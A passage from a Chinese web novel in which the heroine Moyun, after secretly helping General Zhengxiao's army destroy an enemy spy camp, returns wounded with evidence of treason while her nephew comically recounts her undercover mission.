此时赶来增援的队长并不认识茉云，看见沧海便指着问：“沧海将军，这就是大将军说的必须要活捉那女的吗？”
沧海无语的头指了下前面，示意让他们追向前去，众人马上遵命往前追去。
茉云却被逗笑了艰难地靠着树说道：“沧海哥，你觉得你能抓到我活的吗？”
沧海素来严肃的脸上，终于露出了笑容，无奈的摇摇头。
茉云又支撑着站起来，沧海抬手扶住了她温和的说道：“受了这么重的伤，先歇会儿。”
“哥，你陪我去个地方，有重要的事！”茉云指向厄戎的小院说道。
沧海扶着茉云走进了厄戎那俭朴的小院，沧海一脚踢开了房门抬眼望去，看见墙上那把剑便愣住了，那是老元帅的佩剑，沧海顿时就双腿直直的跪了下来。
“哥，跪啥啊，取下来，带回去再说呗！”茉云无力走到了桌案前，翻找着打开了桌上锦盒，看见锦盒中的奏折她手停住了，便是那封国师写给峑戎的大王最后的奏折。
奏折上以俊秀却无力的字迹写着：<
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p>臣自幼受恩于王廷，蒙大王垂爱，得以位极国师，誓愿以死报国，扶持峑戎昌盛。今国有难，狼烟四起，乱世不安，民生困顿，臣之无能矣。
臣素知吾王心系全族苍生，欲为子孙后代谋得未来，然敌势猖狂，若不早作良策，恐国势危矣，臣心力衰矣，临终之时，唯有一言，跪请吾王深察。
今四海不靖，唯有贤士方能安邦定国，求吾王广纳贤士，远离佞臣，勿以出生远近论高低，于峑戎朝堂论之，幽戎才勘国用。
边疆战事频起，然峑戎兵力未整，请吾王让其立即整顿军务，务必赏罚分明，对军中贪渎之人重处，唯有严明军纪，才能重镇当日峑戎大军之雄风，方能驱逐敌寇，为大王和峑戎开创万世基业。
臣还请大王，体恤族民，固守民心，民生安则国安，峑戎百姓困苦，逢天年不接，饥寒交迫者多，愿吾王体恤全族，约束王室望族言行，使万民得以安居，方可稳固国本，长治久安。
臣还有最后一建言，请大王恕臣不敬之罪，倘若国事艰难，天命不授，难以挽回，臣跪求大王另择良策，西南为我族之故土，山川雄壮，牛羊成群，地势险固，民风淳朴，不得已之时，请大王率忠臣将士退守国土，如此吾族尚能保存，族人亦能免遭战火屠戮，故土之上亦再能延绵全族，繁荣一方，生生不息。
臣今去矣，泪目不能再事王前，惟愿大王长寿安康，早日带领全族平定天下，得四海清平。臣以此奏折，与王敬别，望垂察之，
臣向戎都叩首再拜。
茉云看向这封奏疏，不禁自觉眼眶都有些微热，于朝廷和南境而言，国师便是天下第一号的魔头，而于峑戎而言，这奏折字字泣血，身之将死之人，心系的却全是族人，如幽戎所言，他没有自己。此时茉云又再翻看锦盒，锦盒内再空无一物，国师对于自己心心念念一生的长公主没有留下只字片言。
她轻轻笑了，不知为何这一刻她能体会，这便是国师最后的深情，未留下任何的一丝痕迹，不拖累她，也不牵绊她，默默将她此生可依靠的男人送至高位，便可保她一生安康。自己却完完整整的消失在她的生命和记忆里，也不需要让她知道这一生自己曾经为她付出过多少，只要她好便好，其余的自己都带走便好……
此时暗营中响起了卢家军的号角声，将士们都士气昂扬的呐喊着。
“走吧，暗营已完全被攻破，随将军回去。”沧海恭敬的取下剑，看了一眼奏疏望向茉云说道。
茉云抬手便撕了奏疏的中间部分，只留下前后的几段，便是那国师跟大王告别和国师请大王若战败便带着峑戎归故国的内容，她合起奏折将它丢回了锦盒，淡然的看了柜门一眼，然后转身跟着沧海走出了厄戎的房间，她知道集益就在厄戎房内的密室中，就留他一命将那本奏折带回去吧。
希望那个峑戎的大王也能看看，他们西南之地虽荒凉却壮美，有何不好，何况那还是他们的故土。
他们走出去之后，才发现将士们的呐喊声不仅仅是因为暗营被破，而是因为正啸战胜了厄戎归来，众将士的目光中都充满了崇拜和敬仰，纷纷齐声热切的高呼：“大将军，大将军。”
茉云抬目望去，夕阳下他的铠甲熠熠生辉，身后的披风在猎猎生风，皆与他的刚毅气度相得益彰。
而在众人的欢呼声中，他的面容依旧凝重而严峻，眉宇间只有坚定，从未有一丝的得意和欣喜，永远都是这般威严从容，众人皆说他老成持重，而茉云却知不是，是源于他对杀戮深深的厌恶，可奈何他出生便是……
130.万幸
夕阳的余晖洒向暗营，天空已经被染成了橙红，仿佛连天际都在映衬着这场胜利，卢家军的军旗在暗营的废墟上飘荡，暗营的熊熊烈火还未熄灭，火光映照着将士们脸上的激动和骄傲，显得比夕阳更为明亮。
唯独只有正啸丝毫没有被这胜利的喜悦所浸染，他目光略带急切的环视四周，似乎在寻觅，直到他锁定了那个他熟悉的身影完好的站在沧海身旁，面容中才闪现出一丝安定，眼神也变得深邃而柔和，只是这么电光火石般刹那的一眼，他又立刻收回了自己眼神，顷刻间恢复了冷峻和威严。
小马他们都站在茉云身边，亦随着大军一起大声欢呼着胜利，将手都拍得通红，看向没有半点反应的茉云说：“大人难道不觉得将军威武，乃当世英雄吗？”
茉云无语的看向他们反问道：“你若是个猎手追一猎物将其耗得只剩最后一口气，人一箭射了，拿回去领赏获众人欢呼，你觉得他是英雄吗？”
“你差点让那猎物咬得连骨头都不剩，还搭上我们四！”老马转身就朝茉云愤然吼道，他们大抵也知道茉云开始压根就没打算撤了。
“行行行，欢呼欢呼，将军威武，威武极了！”茉云马上伏低头假装鼓掌道。
小马顿时看着茉云那满脸不服又奚落的样子，好似就回到了当年，都忍俊不禁。
罗虎和鹿里都上前跟正啸汇报战况，正啸望向四周的余光，瞧见了茉云支撑着树干无力坐下的样子，瞬间转身望向沧海说道：“震北将军深受重伤，沧海、雄山你们先带队护送他和一众伤员回营，把这家伙也带着。”
茉云听见他用这家伙三个字形容自己，自然是给了他好大一个白眼。正啸则显然懒得理她，走向震北解下自己的披风，为他系上，震北亦笑了双手赞许的拍拍正啸的肩膀。
“震北哥，是谁将你伤成这样？”正啸看着震北这一身的伤深吸一口气问道。
“方茉云！”震北无语的说道，“没大碍，都是皮外伤”
此时沧海正抬手让下面人将刚制作好的担架抬了来，茉云看向那担架大手一挥说：“不用吧！”
雄山凑过来小声说：“你往那边看看将军的眼神，你是愿意自己乖乖躺这上面回去，还是将军来将你打晕，兄弟们抬你上去，再带你走？”
茉云瞥了正啸一眼，他确实正冷冷的瞪向自己，一副马上要走过来动手的神情，茉云转身指着担架说道“担架这么高，我伤成这样还能跳上去如何？快点放下来，带我走！”
沧海无语的笑了让人将担架放到地下，小马他们都拼命忍着笑过来帮忙抬，茉云没好气的坐上去，军中众人皆看了过来，沧海将军和雄山参将居然亲自抬起了茉云的担架，这人何其显贵？
茉云也有些无语的说道：“这怎么好意思让两位哥哥亲自抬我回去？”
“妹子啊，你就消停点，休息一下吧，哥哥们跪着扛你回去都行！”雄山回头叹气着看着茉云说。
沧海亦被逗笑了无语的看着茉云，茉云则一脸的人畜无害的傻笑，经过鹿里和罗虎之时，她瞬间翻身坐起说道：“等会儿，鹿里将军，若等下收拾完焚烧战场之时，能不能将那国师房中的书随他一起烧了，只是书！”
鹿里望向茉云点点头，罗虎则望向茉云奇怪的问道：“为何？”
茉云顷刻间眼神就变了，瞪向罗虎冷冽的说：“让你烧，你照做就可以了！”
“哦！”罗虎无语的叹了口气，然后转头瞪着忍着笑的鹿里和老雀他们，众人皆也看向茉云，这到底是什么人，军中除了元帅和大将军，还有谁可如此呵斥罗虎。
茉云最后抬目忘了一眼暗营，也不知是因为火光还是阳光，总之这儿终于亮堂了起来，她深吸一口气侧躺下去，看向国师的房间的方向，心里轻轻的说，自己也不知道是哪本书，那便烧了所有的书与你陪葬。也算在你最后一刻时，为咱们那彼此唯有一丝的欣赏做出点什么吧。
这唯一一丝的欣赏就源于我两都有那黑暗中孤魂般的决绝，而国师你选择的是在深渊中越坠越深，而我比你幸运……纵使这深渊无尽的黑暗，却终会有人不顾一切，跨越山河的来寻我，让我这漫漫长夜总有天明。
没多久，思绪就在疲惫不支昏睡过去后，都烟消云散了。
此时夜幕已然渐渐降下，执礼等人听到捷报，便马上跟着威行带队的殿后之军，也进入了暗营清扫战场。走进入口将看见沧海他们抬着茉云出去。
“茉云！”威行飞身下马便狂奔而来。
“别吵，受伤，歇息了！”雄山立即解释道，执礼他们看着亦松了口气。
威行才松了口气，笑着上前说道“我跟你们一起抬回去！”。
“威行将军连大将军的军令都不接了？”执礼无语的看向他说道。
沧海望向威行没好气的骂道：“去接令打扫战场，还要以防峑戎反扑。”
“哦，那你们好点！”威行指着说道。
“威行哥！”小马他们看见威行，都开心的打着招呼道。
威行开心一把搂过太易和老马说道：“诶，你们怎么会在这儿？”
“还能有什么原因，被头叫来，差点送了小命呗！”太易亦笑着说道。
“等哥忙完，请你们喝酒！都别走啊！”威行笑得不行死死搂着他们肩膀不松说道。
“好！”
雄山伏低头在威行耳边小声说道：“诶，你回头看看大将军的眼神，你还多聊会儿，看你还等下回得去不？”
威行这才傻笑着一溜烟跑去接命，正啸懒得搭理他，抬目望向执礼，然后看了一眼担架，执礼瞬间明白了正啸的意思，他转身将自己手中抱着的，本来是拿给少主夜里用的厚披风，扬开盖在了茉云担架上，然后转身随沧海他们一同回营。
正啸这才转身安排众人打扫战场，清理暗营余孽，入夜了，他抬眼望向深蓝色的苍穹，直到此刻自己的心才静了下来，这么长久的痛苦、挣扎、怀疑、恐慌和纠结终于化成一场噩梦，所幸这噩梦醒来之时，她还在……
抬目看向这暗营的一片狼藉，军火库还在不断地发生出爆炸和震荡的声音，卷宗室的熊熊烈火也还在风中猛窜，处处的机关暗道悉数被毁，但依旧能让人想象得到此处原有的凶险和阴森。
可想而知她是如何使尽浑身解数捣毁暗营，而最后自己找到她之时，她分明已经是一副完成了使命坦然赴死的神情，万幸自己赶到了！
此时忽然传来了威行的惊叹的声音，才打断了他的思绪。
“鹿里，你就说这不是咱大军干的，咱来之前，茉云就把暗营干成这样了？”
“对！”鹿里想着鸡啄米似
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的点着头，然后看着周遭这番惨状，不禁也乐了。
威行抱着拳由衷的敬佩道：“威武！神勇！佩服！”
罗虎则白了一眼没好气的笑着说道：“妖怪在哪儿能不作妖！妖怪形容她还浅薄了，她就是魔鬼！”
众人皆忍俊不禁，谢青亦笑了，众将知道茉云并没有判离，心中的欣喜之情似乎都溢于言表了。正啸则暗自转身无奈的长叹了一口气，不晓得那丫头下次还会给自己来出什么噩梦般的大戏……
正啸亲自搜索暗营的机要之处，当他走进厄戎的房间，亦看见了那锦盒的奏折，他打开之时发现奏折被撕毁了。
正啸抬头问道：“刚谁进入过这个房间？”
“启禀大将军，是沧海将军还有那位方大人！”
正啸看着这奏折若有所思，这定然是茉云故意为之，想留下这份奏折，可谁能将这份奏折带回去，他抬起了头望向了周遭。
谢青此时正好走来在正啸身旁小声说：“将军，这屋里有暗室，屋外墙面两丈半有余，屋内却不到两丈！”
正啸一把拉开谢青抬脚就踢开了柜门，顿时机关被打开，密室门亦被打开，里面就是被押着的集益，他望向正啸愣了半刻，便怒目圆瞪的吼道：“卢正啸，你这个奸贼，居然敢来此！”
正啸自然也认出了集益，他便是幼时自己也见过的，幽戎身边那个随从。他也明白了茉云的意思，拿起了那封奏折丢到了集益面前。
“将他放了，让他带着这东西，回去找幽戎！”正啸看向千山说道。
“是！”
“卢正啸你和方茉云这等奸贼都会不得好死的！”集益不顾一切的吼道。
“你说谁呢！”威行顿时就要冲了上去，结果被千山拦住了。
“何须跟恶人废话！他们才是侵略者！”千山亦说话了，冷冷的望向集益，幼时他也曾与他嬉戏过，可如今是绝不相容的敌人。
“是条好汉就杀了我吧！”
谢青亦明了正啸和茉云之意，他望向集益冷冷的说：“这应该是你们国师写给你们大王的最后一封奏疏，不如你拿去给了你主子，再在你主子面前自裁吧。”
集益此时才深吸一口气望向那奏折，他也知道自己必须将这份奏折和这里发生的一切带回去告诉幽戎。
他最终被千山压出去，看见暗营如此破败之状只能紧紧咬着牙关，路上却见到众人将国师房中的书清理着，往火中扔着。
威行此时正干完自己的活，走来问鹿里说：“这是干嘛？”
“将这些书一起烧了！”鹿里往火堆里丢着书说道。
“为何？”
“茉云说的！”
“哦，那就烧吧！”威行马上也一把扛起一大箱往火里丢着。
“鹿里被逗笑了，调侃着看向罗虎说：“看见没有，人就不问为什么，罗虎哥你真是喜欢讨骂！”
罗虎满脸不爽神情，懒得搭理他们，亦将书往火堆里扔着。
最终集益骑马而去，奔赴吉冉城，他知道自己该死在暗营，可不得已他还有这份使命要将这一切带到他的主上那儿，可是这一刻他又很惆怅，恨不得此时就让自己消失在这漆黑的夜中，这样主上是不是就不会知道这些锥心挫骨的苦痛。暗营覆灭，厄戎走了，而方茉云从始至终都是一场骗局……
131.有朝一日
远处的山峦被晨雾轻轻围绕，湖泊如镜江河静静东流，岸边的芦苇在风中轻轻摇曳。
茉云支撑着起来，从马车的车窗看向村庄，农家早餐的炊烟袅袅升起，早起的农夫已经背着锄头下地了，放牛的娃儿已经在追赶者田间的蝶儿，清风徐徐吹来，带着花草的芬芳和山野的泥土气息，茉云微微笑了，这儿便是自己的家乡。
沧海和雄山也知道茉云伤得极重，平日里哪里能闲得住半刻的她，一路上几乎都在昏睡，所以他们决定路上不做停留，速速将茉云送至南关白神医处医治。
元帅在南营终日望向东南，等着正啸凯旋而归，还未等到正啸，却等到了谢丞相来了。可军中并没有收到朝廷旨意，谢丞相将来南关视察，那定然是奉密旨而来。两人都是朝中老臣，很有默契的并未多言，只是老朋友般闲聊家常，回忆着当日年轻的轻狂之时。
前方来报，捣毁暗营大胜，沧海将军、震北将军等人即将回营，元帅顷刻间激动的冲出营帐，丞相亦起身走了出去，望向远方。
震北远远见到营帐中翘首以盼的元帅，便扬起马鞭疾驰而来，飞身下马跪在了元帅面前：“元帅。”
“震北!”元帅激动地拉着他，伸手抓着他的臂膀，上下打量着他，虽然受了些皮外伤但是筋骨尚好。
“都是震北不孝，劳您担忧。”震北跪在地上不肯起来。
“孩子，回来就好！”元帅顷刻有些眼眶微红的说道，“来，见过丞相！”
震北才晃过神来，站在元帅边上的便是丞相，众将马上跪下给丞相和元帅行礼，丞相温和的摸着胡须点头，元帅抬手让众人都起来，而丞相的目光却早已专注到了从马车上下来之人！
茉云脸色苍白，气息微弱，却依旧挺直了脊背，眼中带着坚毅的光芒。
看见方茉云，元帅顿时也愣了半晌要上前，却被震北拉住了：“元帅，是茉云救了我，……”
元帅愣了半晌，诧异的望向茉云，丞相看向茉云的眼光却都是赞许，还透出了敬佩。
“丞相！”茉云从身上取下了她一直藏在身上的卷宗，双手呈给丞相，“其余的都随着密营撒谎烧掉了。”
“好。”谢丞双手接过卷宗打开瞧了一眼，便紧紧的合上握紧在手中，这是极为重要的证据，若非茉云不顾一切的从敌营带出，整个朝堂可能都会被敌人所侵蚀的奸佞掌控，他深吸一口气，目光再度落在茉云身上，眼中满是敬意，千言万语也不能多言，此时也只能化成一声，“辛苦。”
茉云微微笑了，此刻才好像终于放下了紧绷的情绪，可顷刻伤重疲惫便再也支撑不住了，沧海马上向前扶着她。
“快！”谢丞相看着执礼指向担架说道。
“快将担架抬来！将她送至白神医处！”执礼亦立刻说道，“元帅，执礼稍后再向您解释。”
“你是说她没有叛变……”元帅晃过神望向震北说道。
此时丞相收起了卷宗望向元帅说道：“对，方茉云去之时来京城找到了老夫，说她背后有一只无形之手推着他与卢将军为敌，她准备将计就计去密营一趟！”
众人都看向了谢丞相，元帅更是错愕的望向他，原来他一直都知道此事。
谢丞相深吸了一口气说“我问她，为何担此重担，她说昔日在京，她翻看了当年他爹入刑部之档，他爹入职愿望上，写着愿以一生之职保南境太平。密营不除，忠臣义士永无宁日，南境永无太平。我跟她说，此行她成便成了，若不成，便遗臭万年，世世代代受人唾弃。她……她笑了，说好。”
众人顷刻都沉默了，元帅那饱经风霜的脸上出现了难以置信的表情。
“卢帅，天道昭彰，乾坤朗朗，忠臣良将身边总有忠诚仁义之士相伴相随！”谢丞相望向元帅宽慰道。
众人皆抬目望去，丞相虽亦年逾六十，须发斑白，但神态依旧稳重从容，身着俭朴的衣袍，透着儒雅高洁之气，却给人如泰山柱石般的安稳感。
元帅那布满岁月痕迹和战场风霜的脸上，亦透出了坚定而感怀的表情，拉着丞相的手臂点点头。两人一个是朝堂治国安民的智脑，一人是保家卫国的脊梁，素来都是心心相惜。
“元帅，我要速速带此卷宗回京了。”谢丞相谦逊的行了文人之礼说道。
“好，鹿里，沧海你们……”
“不，元帅，我带了亲卫，我先行回京，未能等大将军回营，还请元帅督促大将军和诸将请做好迎战峑戎的准备。有劳诸君了！”
“是。”
丞相说完轻轻紧握了一下元帅手臂，便头也不回的上车赶回京城了。他手上可是沉甸甸的铁证，此番朝堂又要经历一波惊天动地的锄奸了，只因卷宗上详细记载着吏部尚书是如何跟峑戎相勾结的。
元帅目送了丞相之后，下令诸将都各司其职，清点伤亡。此战告捷，全军军心高涨，都显得兴高采烈。
傍晚时分，元帅走入营帐里，亲自查探了震北的伤势，白神医也确认了震北皆是皮外伤，未有大碍。
元帅想着担忧的问白神医：“那丫头呢？”
“伤得虽重，但没有生命危险，我夫人在为她施针，她需要修养！”
“有劳小白你们夫妇了，没有大碍便好！”元帅才松了口气说，“等会儿，震北和沧海、执礼都来我营帐！将事情始末说与我听！”
“是！”
话音未落，大营外传来了马蹄声，元帅马上疾步走出了营帐，那是他儿子烈马的蹄声。望向尘土飞扬的入营路上，一列骑兵飞身下马走入军营，为头之人便是威风凌凌的正啸，他的铠甲在夕阳下依旧闪出耀阳的光芒。
顿时全军士兵从四方涌来，欢呼声此起彼伏，整个军营的气势仿佛被点燃一般，要知道暗营那是他们多少年的噩梦和宿敌，终于捣毁了。胜利的喜悦终于驱散了之前的阴霾，让将士们必胜的信念此刻更加坚定。
元帅素日里严肃的脸上泛出了自豪的笑容，正啸面色却依旧如平日里威严，他抬手让将士各司其职，径直上前像元帅行礼，元帅立刻上前有力的抓住了他的臂膀扶起了他，心情畅快的拍拍他的肩膀。
“来，随我进营帐！”
“是！”
正啸边走边望向了执礼，执礼心领神会走到他的身边伏低头小声说道：“白神医说震北将军都是皮外伤，茉云虽然伤得虽重，但没有生命危险，白夫人正在为她施针，她需要一段时间修养！”
正啸便没有再说什么，随着元帅走入了他的营帐，震北进入营帐便又在元帅面前跪了下来。
“孩子啊，受了这么重的伤。快起来！”
“元帅，顾将军背叛了您。”震北抬头元帅咬牙说道。
执礼和谢青都深深吸了口气，正啸却没有说什么。元帅这些日子自己也想明白了很多。
“昔日他在周山受伤，结识了一女子，生下了一孩子，他不想这个孩子跟顾源一样战死沙场，就把他们留在了村里，结果被峑戎发现了抓去了，要挟顾叔。那是他唯一的血脉了，他也是不得已泄露了一些消息给峑戎，他几次想死，可是峑戎说会将那女子奸污至死，再将那孩子凌迟，他……”
元帅咬着牙没有说话，面色凝重而苦痛，他回忆起当日顾源战死沙场，顾将军是如何暗地里痛哭流涕的。
“顾叔虽犯了大错，难两全求一死，最终为您而死，也算成全了。”震北眼眶红了说“方茉云的侄儿告诉我，那女子得知后便殉情了，孩子被茉云想办法送去了关外良善人家收养了。”
元帅最终闭上眼睛，忍着眼眶里的泪水，咬紧牙关点点头，良久之后说：“起来吧，孩子，你伤成这样？他们是如何折磨你的。”
“他们没折磨我……只有方茉云打了好多次，然后往我身上倒了一盆盐水，还几次差点杀了我……但您切莫怪罪，小腾那孩子跟我说若她不打我，她和我都得死！而且说您父子身边奸细太多，她得试试我！”
他们看向震北，虽说都是皮外伤，但是亦都知道他伤得不浅，吃了不少苦头。
震北想着又无奈的说：“我问小腾，他姑怎么不早说，小腾说，您问我姑？那她肯定告知你，卢正啸得罪了他，她还不乘机报复一下。”
“扑哧”诸位将军和执礼等人皆都忍着笑。
“舍不得报复他，报复咱爷俩身上。”元帅气不打一处来端起茶碗喝着茶，好似一脸气愤的骂道。
正啸依旧面容严峻，眼中闪过一丝无语，众将更是伏低头，忍俊不禁，这时满脸懵懂的小腾被带入了军营。
他一进军营看见了正啸，便心花怒放般的跑到正啸身边：“正啸叔叔。”
正啸望向小腾的眼神顷刻剑变得温和，抬手轻拍了一下他的头。
“小腾，先跟大将军的父帅行礼！”执礼上前温和的笑了说道。
小腾看向堂上那位威严沧桑而又气度不凡之人行礼道：“卢爷爷好！”
“诶，要叫……”
“无妨，孩子嘛，叫爷爷挺好，这就是茉云侄儿啊！”
“启禀元帅，方茉云此人想必您是知晓的，她伤得极重，且按她的个性很难据实汇报实情，定然是满口戏词……”执礼笑着像元帅禀报，众人亦都乐了，“小腾随她一起在暗营，也许还能知晓些事情，所以我唤了他来像您禀报！”
“嗯！”元帅望向小腾感叹道：“这么小的孩子，你为何也随茉云去了暗营？”
“我姑姑说思前想后，我二叔还没结过婚，只能把我接去当人质了，好像我结过似的！”小腾气愤地说道，“搞得我都没能去见我爹！”
顿时威行他们都忍俊不禁，元帅亦是一脸无语，这孩子果然是方茉云的侄儿。
“这也算是为国效力，你爹并无碍，过些日子让他们带你去见见。”正啸握着小腾温和的安抚道。
小腾想着才开心的点点头，满眼都是崇敬的望向正啸。
“跟人家侄子感情还挺好，你熟你问吧！”元帅侧目带有几分调侃意味的望向正啸说道。
正啸满脸皆是无语，执礼笑着接过话说道：“元帅，不如让执礼问！”
“嗯！”
“小腾，你姑一开始可曾告诉你为何入暗营？又是如何进入暗营的！”
小腾挠挠头想着：“一开始？我姑姑天天嚷着要把卢叔叔的爹曝尸荒野去喂野狼，要将关叔叔碎尸万段，要把卢家全家都祸害了！后来她动手射中了卢叔叔的爹，抓了震北伯伯，他们就都信了，只有幽戎还是不信！”
“哎，这世道儿子犯错爹遭罪！”元帅重重放下茶杯瞪向正啸，威行他们都只能伏低头拼命忍着笑。<
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执礼亦忍着笑望向小腾继续问道：“那她是如何想办法获得幽戎的信任的？”
“她那日说她要出去刺杀关叔叔，回来之后，我问姑姑关叔叔跑了没，她气急败坏的说，没有，卢正啸来了，我跑了，为什么我现在混到暗营来了，见到他还跟耗子见了猫似的，天杀的，我这辈子难道永无出头之日，就是搞不赢他了？”
“扑哧”大家在隐忍不住哄堂大笑，威行和雄山更是捧腹大笑，只有他们最清楚，从中州起，任谁都怕了方茉云，只有正啸能时时刻刻将其疯狂压制。
“但是自这件事情之后，我们就进入了暗营。”
“而后发生了什么？”
“姑姑说国师和厄戎、幽戎联合在一起太强大了，她说卢叔叔这边大军信奉的忠孝节义，峑戎却只讲一个字那就是赢！我问姑姑什么意思，姑姑说峑戎为达目的可屠戮良善，陷害忠义，甚至洗脑奴役自己的将士，干尽不仁不义的恶事，只为达到入主中原的目的。而我们这边卢叔叔只是骂了朝中那些坏蛋是猴子，所有人都觉得他太过分了，竟然如此猖狂，简直丧尽天良！”
“扑哧”众人再也隐忍不住笑得前俯后仰，卢帅亦拍着桌案笑得不行，正啸还是满脸的无可奈何。
“姑姑还说这个峑戎铁三角必须灭一角，她开始准备灭幽戎，因为正好峑戎王子争皇位，国师找到了姑姑，让她杀了幽戎，她觉得甚好，幽戎武功高强，暗杀了他，再炸了暗营，咱就跑！”小腾回忆着说道，“但是姑姑那天去杀幽戎，又改变了注意……”
“为何？”
“她突然改变的主意，又带着幽戎，九死一生闯出了暗营，助他们逃回都城！”
这个时候威行按耐不住说道：“还救他干嘛？”
“姑姑说他突然意识到，若篡位的大王子和国师这两个变态赢了，对于天下将是一场浩劫，肯定生灵涂炭血流成河，昔日为射手，师傅告诉她，若有两只猛兽只剩下一只箭，射那眼露血光之兽，再与另一只周旋，所以要除了国师！”
“也就是说，幽戎回戎都勤王成功了。”
“是的，幽戎去了都城，保住了他们大王，第一件事便是带兵回来找姑姑。”小腾回忆着当日之情形，正啸微微蹙眉看向他，“后来大军要去夺回暗营，结果快到之时，又来了一道令，说大王子昔日属下叛变，派幽戎去打判将，将暗营交给厄戎，厄戎便说服幽戎，让姑姑也留了下来！姑姑跟我说，正好！厄戎想杀她，而她要炸了暗营！”
众人不禁倒吸一口气，原来整个过程如此跌宕，居然还恰逢峑戎的国事动荡，他们的宿敌大王子和国师也都受到了该有的报应，而听着小腾说得如此轻描淡写，可谁都能感受到她身陷暗营其中的险象环生和孤注一掷。
“后来回暗营的路上，姑姑跟我说，让我趁着大军攻入暗营，营门失守之时，去找了震北伯伯，带他逃出暗营，一路回南境，不要回头！”
“嗯，她也算是艰难时刻，还能审时度势做出最好的决定，不然只怕是现在峑戎之军就已屠戮到家门口了！”元帅长叹一口气说道，老对手他们都是心知肚明的，那大皇子就是个穷兵黩武且嗜血的疯癫之人。
小腾亦点点头，然后满脸都是信赖和崇拜的望向正啸说：“姑姑说终有一日卢叔叔会打赢幽戎的！”
“这是你姑姑的原话？”执礼则微微笑了望向小腾，“她说卢将军定能战胜幽戎？”
“她的原话啊？”小腾想着无语的挠着头说道，“她说有朝一日，卢正啸定能打赢幽戎，否则他爷爷在天有灵，看着会气得一道雷把他两父子都劈了，让他打架打不赢敌人，只晓得打她！”
元帅又佯装恼火的吹着胡子瞪向正啸：“对，把他爹带着一起劈死！”
众人又没忍住哄堂大笑，而正啸却心中猛然一沉，这种感觉居然让他觉得恐慌，有朝一日，这四个字不是她会随便用的词，她哪怕日日都是翻江倒海，踏破凌云的折腾着，但她绝不是畅想未来之人，她只信自己亲眼所见，除非她知道自己见不到了……
此时沧海却突然走到中央跪了下来，将手中之剑高居过了头顶。
“跪什么？这又是咋了？”当元帅抬头看向沧海高举之剑，忽然停住了，霎那间起身疾步走去，一把拿过了那佩剑认真端详着，军中的老人亦都愣住了，连正啸都眼中闪过诧异。
“这把老元帅的剑是茉云带我在厄戎的房里找到的！”沧海跪着说道。
“当日谋害老元帅之人是厄戎！”执礼吃惊的说道，这么些年过去了，老元帅被人伏击殉国，大军赶到之时，老元帅冰冷的躯体躺在荒野，他们都不知当日是谁谋害了老元帅。
卢帅顿时握紧老卢帅之剑老泪纵横：“父帅，那啸儿也算为你报了血仇了！”
众人皆崇敬而钦佩的望向老元帅的剑，他便是一生风沙，当日力挽狂澜夺回南境之人，是全军将士的信仰，是南境万民心中的战神。
正啸仍然是一脸严峻，他爷爷老卢帅也是他一生最崇拜和信仰之人，他曾答应过他，卢家这幅重担，自己定然背起来，纵有万难，此生也一定完成爷爷当年的誓言，誓要断了峑戎浪子野心，绝不让峑戎再有机会踏入南境半步。
在这个使命之前，任何都不可撼动，所有都只能深藏，只待有朝一日……
132.故人
营帐中还沉浸在此刻的凝重和激昂，是众人对老卢帅的缅怀，也是这份怀念酝酿出军心的澎湃，仿佛老卢帅的剑带着他当日的坚毅和忠烈回来了，激荡出每位将士内心深处的报国之志。
正啸此时默默转身，准备走出营帐，去慰问将士伤亡的情况。
“去那里。”
“去看看伤病员。”
“先跟我去看看，人怎么样了。”
“父帅，我先去……”
元帅瞪着正啸顿时指着他和震北没好气说道“你自己看看，你不去，你父帅和你哥又折那里怎么办？”
众人都忍俊不禁，其中威行他们笑得最开心，方茉云此人真是什么都做得出，这次居然拿正啸的爹卢帅垫背。
正啸只得叹了口气，转身无奈站在原地等着卢帅，随他去看望茉云。
卢帅大步走来，看向站在那儿没有动弹的正啸，佯怒调侃道：“哦，你还让你爹走前面，那要你干嘛？”
正啸无语的拨开了营帐帘走了出去，执礼他们都伏低头忍俊不禁。
走进了茉云的房里，茉云还在昏迷不醒，白夫人正俯身跟她盖着被子。正啸望向卧榻之上，她面色苍白，往日里那凌冽的双眼此刻紧闭着，额旁渗着冷汗将凌乱的发丝贴在两鬓，显得如此虚弱。
“如何？”此刻元帅轻手轻脚的上前小声问道。
“她寒湿入髓又受了极重的内伤，吸入了很多黑烟，体内还有中毒之迹。最好有个武功高强之人，跟他把寒毒逼出来，会好受一点。”白夫人跟元帅禀报道。
元帅转身望向正啸，不容分说的指着茉云，正啸看向元帅却还没有动。
“你打算让你受了箭伤的爹，还是一身伤的哥来？”元帅顿时便没好气的骂道，谢青和执礼他们都在旁边笑着互相看了一眼。
正啸只得走向前，白夫人伸手将茉云扶起，正啸运气抬掌一掌便打在茉云的背上。
“这么瘦弱一丫头，吃这么多苦。”元帅望向茉云那微弱的呼吸，仿佛每一次吸气吐息都要耗尽全身力气一般，不禁感叹。
“您用弱字形容她。”白显却笑了望向元帅说道，“她要是弱，这世上就没强人了。”
正啸抬手收功之时，茉云失去了支撑往侧边倒去，他瞬间伸手一把扶住她，生怕她摔下床来，元帅挑眉看着没有说什么。正啸似乎又意识到什么，立马将茉云推向白夫人手中，白夫人才轻轻的扶着茉云躺下。
“有劳你和你夫人了，到时候跟罗虎说，让惜缘那孩子也来帮忙照看着。”元帅双眉微蹙，眼中都是心疼孩子的表情说道。
“您言重了。”
茉云此时好像迷迷糊糊的醒了，看见了正啸，突然抬起那本垂在双侧毫无力气的手臂，拉住他的手腕说道“诶。”
正啸亦停住了望向茉云，看向她那青筋隐隐可见的手，这双昔日挥剑力战苍穹，策马奔腾千里的手，竟然如今毫无力气。
“嗯？我还活着，买只八宝鸭我吃呗。”
瞬间营帐众人哄堂大笑，方茉云到底是方茉云，伤得如此之重，人都疼惜她靠着意志支撑至此，她开口便是一副活着只为了吃的模样。
“一身寒凉，吃什么鸭。”正啸顷刻抽回自己的手，没好气的说。
元帅怒目圆瞪的忿然指着正啸，正啸则一副没看见的模样自顾自的走出营帐，去看望伤员了。
“哼。”茉云又气愤的瘪瘪嘴巴地睡了过去。
元帅看向正啸的背影一脸的火，正啸走出营帐之时，眼神才闪现出异样，她一直那般闹腾之人，此刻却透出这般让人惶恐的安静和令人心痛的脆弱。
翌日清晨，众人在营帐中议事，此时他们正在商议扫荡暗营余孽，让各州县加紧防备，唯恐他们逃散滋扰百姓。
此时威行未经通报就闯入了他们议事的营帐，正啸双眉紧皱看了一眼，而威行还全然不觉的往里闯。
“威行，军中规矩你知道的！”千山拦住了威行说道。
“我要见将军！”威行顿时就要拦开千山喊道。
“元帅，大将军，威行将军好像有急事！”正在汇报战损的东山，看向威行的表情停下来说。
“大将军，白夫人说茉云不见了，军营里我也到处找了！”威行着急的就冲正啸喊道，“后来我去查了哨岗，她昨夜出营了！”
